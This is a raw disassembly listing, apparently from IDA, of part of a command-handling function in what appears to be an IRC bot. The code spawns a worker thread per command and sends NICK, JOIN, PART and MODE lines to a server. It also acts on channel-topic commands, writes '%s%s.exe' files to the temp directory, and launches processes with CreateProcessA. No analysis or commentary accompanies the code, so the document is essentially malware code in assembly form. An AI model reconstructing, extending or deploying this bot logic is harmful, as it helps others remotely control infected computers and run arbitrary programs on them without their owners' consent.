		lea	eax, [ebp+var_2EE8]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+Dst]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+Source]
		push	offset asc_442DD8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Eh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset sub_41424D
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4081CA

loc_4081B4:				; CODE XREF: sub_401CC7+6501j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_4074F3
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4081B4
; ---------------------------------------------------------------------------

loc_4081CA:				; CODE XREF: sub_401CC7+64EBj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442E08
		jmp	loc_4074E4
; ---------------------------------------------------------------------------

loc_4081DB:				; CODE XREF: sub_401CC7+4C72j
					; sub_401CC7+4C89j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3C64]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3BE4]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3B64]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		push	20h		; Count
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+Dst]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+Source]
		push	offset asc_442D14 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Dh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset sub_4134D4
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4082C3

loc_4082AD:				; CODE XREF: sub_401CC7+65FAj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_4074F3
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4082AD
; ---------------------------------------------------------------------------

loc_4082C3:				; CODE XREF: sub_401CC7+65E4j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442D44
		jmp	loc_4074E4
; ---------------------------------------------------------------------------

loc_4082D4:				; CODE XREF: sub_401CC7+4C44j
					; sub_401CC7+4C5Bj
		push	7Fh		; Count
		lea	eax, [ebp+var_1778]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		push	3Fh		; Count
		mov	[ebp+var_1628],	eax
		push	[ebp+Src]	; Source
		lea	eax, [ebp+var_16F8]
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40831F
		push	3Fh		; Count
		lea	eax, [ebp+var_16B8]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_40831F:				; CODE XREF: sub_401CC7+6644j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_442C84 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Fh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4019E7
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4083AB

loc_408395:				; CODE XREF: sub_401CC7+66E2j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406F59
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_408395
; ---------------------------------------------------------------------------

loc_4083AB:				; CODE XREF: sub_401CC7+66CCj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_442CB4
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_4083BC:				; CODE XREF: sub_401CC7+4C04j
					; sub_401CC7+4C1Bj
		push	edi		; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_4084AF
		push	[ebp+Source]	; Format
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+Format]	; Format
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+Source]
		lea	eax, [ebp+Dst]
		push	offset asc_442BDC ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	15h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset sub_41391E
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40849E

loc_40848C:				; CODE XREF: sub_401CC7+67D5j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_40848C
; ---------------------------------------------------------------------------

loc_40849E:				; CODE XREF: sub_401CC7+67C3j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442C08
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_4084AF:				; CODE XREF: sub_401CC7+6704j
		push	offset unk_442C40
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_4084B9:				; CODE XREF: sub_401CC7+4BD6j
					; sub_401CC7+4BEDj
		push	edi
		push	[ebp+Source]
		call	ds:dword_4F5388	; MoveFileA
		test	eax, eax
		jz	short loc_4084E6
		push	edi
		lea	eax, [ebp+Dst]
		push	[ebp+Source]
		push	offset asc_442B98 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_408506
; ---------------------------------------------------------------------------

loc_4084E6:				; CODE XREF: sub_401CC7+67FEj
		push	offset dword_442BBC
		call	sub_418E65
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf

loc_408503:				; CODE XREF: sub_401CC7+2F1Bj
					; sub_401CC7+55F0j
		add	esp, 0Ch

loc_408506:				; CODE XREF: sub_401CC7+2127j
					; sub_401CC7+2EBDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408637
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int

loc_408523:				; CODE XREF: sub_401CC7+5847j
		call	sub_409D34
		add	esp, 14h
		jmp	loc_408637
; ---------------------------------------------------------------------------

loc_408530:				; CODE XREF: sub_401CC7+4BA8j
					; sub_401CC7+4BBFj
		push	[ebp+Source]	; Format
		lea	eax, [ebp+var_3F04]
		push	104h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_40856A
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40856A
		push	eax		; Format
		lea	eax, [ebp+var_3E00]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_40856A:				; CODE XREF: sub_401CC7+6883j
					; sub_401CC7+6892j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_3F84]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset asc_442B20 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	24h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset sub_417822
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40861C

loc_40860A:				; CODE XREF: sub_401CC7+6953j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_408637
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_40860A
; ---------------------------------------------------------------------------

loc_40861C:				; CODE XREF: sub_401CC7+6941j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset asc_442B50 ; "-"

loc_408628:				; CODE XREF: sub_401CC7+90Dj
					; sub_401CC7+A4Bj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_408637:				; CODE XREF: sub_401CC7+7D2j
					; sub_401CC7+934j ...
		push	1
		pop	esi
		jmp	loc_406F7D
; ---------------------------------------------------------------------------

loc_40863F:				; CODE XREF: sub_401CC7+4B7Aj
					; sub_401CC7+4B91j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+Source]	; Str
		mov	[ebp+var_63C], esi
		call	_atoi
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40867E
		mov	[ebp+var_638], 5

loc_40867E:				; CODE XREF: sub_401CC7+69ACj
		cmp	[ebp+var_C], ebx
		jz	loc_406F59
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406F59
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_4F5340	; CreateProcessA
		test	eax, eax
		jnz	short loc_4086C7
		push	offset unk_442AD0
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_4086C7:				; CODE XREF: sub_401CC7+69F4j
		push	edi
		push	offset dword_442AF4
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_4086D2:				; CODE XREF: sub_401CC7+4B4Cj
					; sub_401CC7+4B63j
		push	edi		; Str2
		push	offset aTrb	; "trb"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40884B
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	ds:dword_4F5384	; GetTempPathA
		push	0FFh		; Count
		lea	eax, [ebp+var_25D0]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40B135
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+esi+Str2]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_408767
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_40876D
; ---------------------------------------------------------------------------

loc_408767:				; CODE XREF: sub_401CC7+6A8Aj
		mov	[ebp+var_23C0],	ebx

loc_40876D:				; CODE XREF: sub_401CC7+6A9Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408784
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40878A
; ---------------------------------------------------------------------------

loc_408784:				; CODE XREF: sub_401CC7+6AACj
		mov	[ebp+var_23C4],	ebx

loc_40878A:				; CODE XREF: sub_401CC7+6ABBj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+Source]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+Dst]
		push	offset asc_442A14 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	1Eh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset sub_416F62
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_40883A

loc_408824:				; CODE XREF: sub_401CC7+6B71j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406F59
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_408824
; ---------------------------------------------------------------------------

loc_40883A:				; CODE XREF: sub_401CC7+6B5Bj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_442A40
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401CC7+6A1Aj
		push	offset asc_442A7C ; "-"

loc_408850:				; CODE XREF: sub_401CC7+2E64j
					; sub_401CC7+4574j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_406F59
; ---------------------------------------------------------------------------

loc_408863:				; CODE XREF: sub_401CC7+4B1Ej
					; sub_401CC7+4B35j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_0	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402085
		cmp	[ebp+var_C], ebx
		jz	loc_402085
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+Format]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 28h
		test	eax, eax
		jle	short loc_4088EE
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_4F534C	; Sleep

loc_4088EE:				; CODE XREF: sub_401CC7+6C0Fj
		push	offset dword_4429E8
		call	sub_415C3F
		mov	eax, [ebp+File]
		pop	ecx
		inc	eax
		jmp	loc_402088
; ---------------------------------------------------------------------------

loc_408902:				; CODE XREF: sub_401CC7+4AF0j
					; sub_401CC7+4B07j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_1	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402085
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		inc	edi
		push	offset aRepeat_0 ; "repeat"
		push	edi		; Str1
		mov	esi, eax
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_4089C0
		push	[ebp+Format]
		lea	eax, [ebp+Dst]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS_0	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		add	esp, 24h
		lea	eax, [ebp+Dst]
		push	esi
		push	offset asc_44297C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 14h
		test	eax, eax
		jle	loc_409B16
		push	[ebp+Source]	; Str
		call	_atoi
		add	eax, [ebp+File]
		pop	ecx
		jmp	loc_402088
; ---------------------------------------------------------------------------

loc_4089C0:				; CODE XREF: sub_401CC7+6C7Bj
		push	offset asc_442994 ; "-"

loc_4089C5:				; CODE XREF: sub_401CC7+75EBj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_4089D4:				; CODE XREF: sub_401CC7+7573j
					; sub_401CC7+76CCj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4089F5
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_4089F5:				; CODE XREF: sub_401CC7+6D10j
					; sub_401CC7+7370j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		jmp	loc_409B15
; ---------------------------------------------------------------------------

loc_408A06:				; CODE XREF: sub_401CC7+4AC2j
					; sub_401CC7+4AD9j
		push	7Fh		; Count
		lea	eax, [ebp+var_2214]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2194]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2114]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+Source]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_2218],	esi
		push	offset asc_4428E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Fh		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset sub_414E4C
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_408AC6

loc_408AB4:				; CODE XREF: sub_401CC7+6DFDj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408AE1
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_408AB4
; ---------------------------------------------------------------------------

loc_408AC6:				; CODE XREF: sub_401CC7+6DEBj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset asc_442918 ; "-"

loc_408AD2:				; CODE XREF: sub_401CC7+6F0Aj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_408AE1:				; CODE XREF: sub_401CC7+6DF3j
					; sub_401CC7+6EEEj
		cmp	[ebp+var_8], ebx
		jnz	loc_4098F2
		push	ebx
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]
		push	eax
		push	[ebp+Format]
		push	esi
		jmp	loc_4098EA
; ---------------------------------------------------------------------------

loc_408B01:				; CODE XREF: sub_401CC7+4A94j
					; sub_401CC7+4AABj
		push	7Fh		; Count
		lea	eax, [ebp+var_23A8]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_2328]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_22A8]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+Source]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_23AC],	esi
		push	offset asc_442870 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	11h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset sub_4145F8
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_408BC5

loc_408BAF:				; CODE XREF: sub_401CC7+6EFCj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408AE1
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_408BAF
; ---------------------------------------------------------------------------

loc_408BC5:				; CODE XREF: sub_401CC7+6EE6j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_44289C
		jmp	loc_408AD2
; ---------------------------------------------------------------------------

loc_408BD6:				; CODE XREF: sub_401CC7+4A66j
					; sub_401CC7+4A7Dj
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aPartS_0	; "PART	%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 10h
		test	eax, eax
		jle	loc_409B16
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B16
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_14	; "%s\r\n"

loc_408C1B:				; CODE XREF: sub_401CC7+6FBFj
					; sub_401CC7+7B1Dj
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_456024[eax] ; int
		call	sub_409CEE
		jmp	loc_404B1E
; ---------------------------------------------------------------------------

loc_408C3A:				; CODE XREF: sub_401CC7+4A38j
					; sub_401CC7+4A4Fj
		push	[ebp+esi+Str2]
		lea	eax, [ebp+Dst]
		push	edi
		push	offset aJoinSS_1 ; "JOIN %s %s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 14h
		test	eax, eax
		jle	loc_409B16
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B16
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aS_15	; "%s\r\n"
		jmp	short loc_408C1B
; ---------------------------------------------------------------------------

loc_408C88:				; CODE XREF: sub_401CC7+4A0Aj
					; sub_401CC7+4A21j
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aNickS_5	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+Source]
		push	esi		; Str
		call	_atoi
		add	esp, 10h
		test	eax, eax
		jle	loc_409B16
		push	esi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B16
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_16	; "%s\r\n"
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_456024[eax] ; int
		call	sub_409CEE
		add	esp, 0Ch
		push	edi
		push	esi		; Args
		push	offset dword_44280C ; Format

loc_408CEE:				; CODE XREF: sub_401CC7+70B2j
					; sub_401CC7+7121j ...
		call	sub_415CB3
		jmp	loc_404B1E
; ---------------------------------------------------------------------------

loc_408CF8:				; CODE XREF: sub_401CC7+49DCj
					; sub_401CC7+49F3j
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D27
		push	esi
		lea	eax, [ebp+Dst]
		push	offset aModeS	; "MODE	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_408D27:				; CODE XREF: sub_401CC7+7049j
		mov	edi, [ebp+Source]
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B16
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B16
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset aS_17	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_456024[eax] ; int
		call	sub_409CEE
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_4427D4
		jmp	loc_408CEE
; ---------------------------------------------------------------------------

loc_408D7E:				; CODE XREF: sub_401CC7+49AEj
					; sub_401CC7+49C5j
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409B16
		mov	edi, [ebp+Source]
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B16
		push	edi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B16
		push	esi		; Args
		push	offset aS_18	; "%s\r\n"
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_456024[eax] ; int
		call	sub_409CEE
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_44279C
		jmp	loc_408CEE
; ---------------------------------------------------------------------------

loc_408DED:				; CODE XREF: sub_401CC7+4980j
					; sub_401CC7+4997j
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	[ebp+Source]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409B16
		push	esi		; Args
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		push	esi
		push	offset unk_44276C
		jmp	loc_409B0F
; ---------------------------------------------------------------------------

loc_408E29:				; CODE XREF: sub_401CC7+4952j
					; sub_401CC7+4969j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_2	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402085
		push	edi		; Args
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_4F534C	; Sleep
		push	[ebp+esi+Str2]
		push	edi		; Args
		push	offset aJoinSS_2 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		push	offset dword_442740
		call	sub_415C3F
		jmp	loc_40370A
; ---------------------------------------------------------------------------

loc_408E8D:				; CODE XREF: sub_401CC7+4924j
					; sub_401CC7+493Bj
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
